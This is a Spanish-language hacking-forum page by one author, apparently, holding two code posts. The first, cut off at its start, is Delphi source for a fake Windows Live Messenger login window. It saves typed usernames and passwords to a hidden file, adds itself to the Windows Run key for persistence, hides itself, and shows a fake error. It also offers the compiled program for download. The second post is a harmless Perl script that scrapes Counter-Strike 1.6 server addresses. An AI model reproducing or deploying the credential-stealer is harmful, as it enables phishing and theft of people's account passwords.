  66.  her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  67.  her.WriteString('uber', yalisto);
  68.  her.Free;
  69.  
  70.  SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  71.  SetFileAttributes(PChar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
  72.  
  73. end;
  74.  
  75. procedure TForm1.Image2Click(Sender: TObject);
  76.  
  77. var archivo: TextFile;
  78.  ruta: string;
  79.  
  80. begin
  81.  
  82.  if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  83.  begin
  84.    WinExec(PChar('notepad c:/windows/datos.txt'), SW_SHOW);
  85.  end
  86.  else
  87.  begin
  88.  
  89.    if Edit1.Text = '' then
  90.    begin
  91.      ShowMessage('Escribe tu Id. de Window Live ID en este formato: tu nombre@ejemplo.com');
  92.    end;
  93.    if Edit2.Text = '' then
  94.    begin
  95.      ShowMessage('Escribe tu contraseña');
  96.    end
  97.    else
  98.    begin
  99.      if Edit2.Text = 'Escribe aqui tu contraseña' then
  100.      begin
  101.        ShowMessage('Escribe tu contraseña');
  102.      end
  103.      else
  104.      begin
  105.        ruta := 'c:/windows/datos.txt'; //mod
  106.        if FileExists(ruta) then
  107.        begin
  108.          AssignFile(archivo, ruta);
  109.          FileMode := fmOpenWrite;
  110.          Append(archivo);
  111.          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
  112.          CloseFile(archivo);
  113.          Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
  114.          Form1.Close;
  115.        end
  116.        else
  117.        begin
  118.          AssignFile(archivo, ruta);
  119.          FileMode := fmOpenWrite;
  120.          ReWrite(archivo);
  121.          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
  122.          CloseFile(archivo);
  123.          Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
  124.          Form1.Close;
  125.        end;
  126.      end;
  127.    end;
  128.  end;
  129.  
  130. end;
  131.  
  132. end.
  133.  
  134. // The End ?
  135.  

Si quieren bajar el proyecto + el programa compilado lo pueden hacer de aca.

Cualquier sugerencia o error diganlo para mejorar (porque el programa en si no me convence xDD).

210  Programación / Scripting / [Perl] Counter Strike 1.6 Servers List en: 12 Noviembre 2012, 23:30 pm
Lo mismo que el otro buscador pero esta vez para CS 1.6

El codigo

Código
  1. #!usr/bin/perl
  2. #Counter Strike 1.6 Servers List
  3. #Version 0.1
  4. #Coded By Doddy H
  5.  
  6. use LWP::UserAgent;
  7. use Cwd;
  8. use Time::HiRes "usleep";
  9.  
  10. my $nave = LWP::UserAgent->new;
  11. $nave->agent(
  12. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  13. );
  14. $nave->timeout(5);
  15.  
  16. my @founds;
  17. my @founds_final;
  18.  
  19. head();
  20.  
  21. print "[+] Pages (1-899) : ";
  22. chomp( my $pag = <stdin> );
  23.  
  24. print "\n\n[+] Searching Servers ....\n";
  25.  
  26. for my $count ( 1 .. $pag ) {
  27.  
  28.    my $code =
  29.      toma( "http://www.gametracker.com/search/cs/?searchipp=50&searchpge="
  30.          . $count );
  31.  
  32.    my @found = $code =~ m/(\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}:\d+)/g;
  33.  
  34.    for (@found) {
  35.        push( @founds_final, $_ );
  36.    }
  37.  
  38. }
  39.  
  40. my @founds_final = repes(@founds_final);
  41.  
  42. print "\n[+] Servers Found : " . int(@founds_final);
  43.  
  44. my $ruta_logs = getcwd() . "/" . "cs_servers.txt";
  45.  
  46. if ( -f $ruta_logs ) {
  47.    unlink($ruta_logs);
  48. }
  49.  
  50. open( LOGS, ">>cs_servers.txt" );
  51.  
  52. for (@founds_final) {
  53.    print LOGS $_ . "\n";
  54. }
  55.  
  56. close LOGS;
  57.  
  58. print "\n\n[+] All results are stored in : $ruta_logs\n";
  59.  
  60. if ( -f $ruta_logs ) {
  61.    system($ruta_logs);
  62. }
  63.  
  64. copyright();
  65.  
  66. sub head {
  67.  
  68.    my @logo = (
  69.        "#=============================================#", "\n",
  70.        "#       Counter Strike 1.6 Servers List       #", "\n",
  71.        "#---------------------------------------------#", "\n",
  72.        "# Written By Doddy H                          #", "\n",
  73.        "# Email: lepuke[at]hotmail[com]               #", "\n",
  74.        "# Website: doddyhackman.webcindario.com       #", "\n",
  75.        "#---------------------------------------------#", "\n",
  76.        "# The End ?                                   #", "\n",
  77.        "#=============================================#", "\n"
  78.    );
  79.  
  80.    print "\n";
  81.  
  82.    marquesina(@logo);
  83.  
  84.    print "\n\n";
  85.  
  86. }
  87.  
  88. sub copyright {
  89.  
  90.    my @fin = ("-- == (C) Doddy Hackman 2012 == --");
  91.  
  92.    print "\n\n";
  93.    marquesina(@fin);
  94.    print "\n\n";
  95.  
  96.    <stdin>;
  97.  
  98.    exit(1);
  99.  
  100. }
  101.  
  102. sub marquesina {
  103.  
  104.    #Effect based in the exploits by Jafer Al Zidjali
  105.  
  106.    my @logo = @_;
  107.  
  108.    my $car = "|";
  109.  
  110.    for my $uno (@logo) {
  111.        for my $dos ( split //, $uno ) {
  112.  
  113.            $|++;
  114.  
  115.            if ( $car eq "|" ) {
  116.                mostrar( "\b" . $dos . $car, "/" );
  117.            }
  118.            elsif ( $car eq "/" ) {
  119.                mostrar( "\b" . $dos . $car, "-" );
  120.            }
  121.            elsif ( $car eq "-" ) {
  122.                mostrar( "\b" . $dos . $car, "\\" );
  123.            }
  124.            else {
  125.                mostrar( "\b" . $dos . $car, "|" );
  126.            }
  127.            usleep(40_000);
  128.        }
  129.        print "\b ";
  130.    }
  131.  
  132.    sub mostrar {
  133.        print $_[0];
  134.        $car = $_[1];
  135.    }
  136.  
  137. }
  138.  
  139. sub repes {
  140.    my @limpio;
  141.    foreach $test (@_) {
  142.        push @limpio, $test unless $repe{$test}++;
  143.    }
  144.    return @limpio;
  145. }
  146.  
  147. sub toma {
  148.    return $nave->get( $_[0] )->content;
  149. }
  150.  
  151. #The End ?
  152.  
Páginas: 1 ... 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [21] 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 ... 43
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines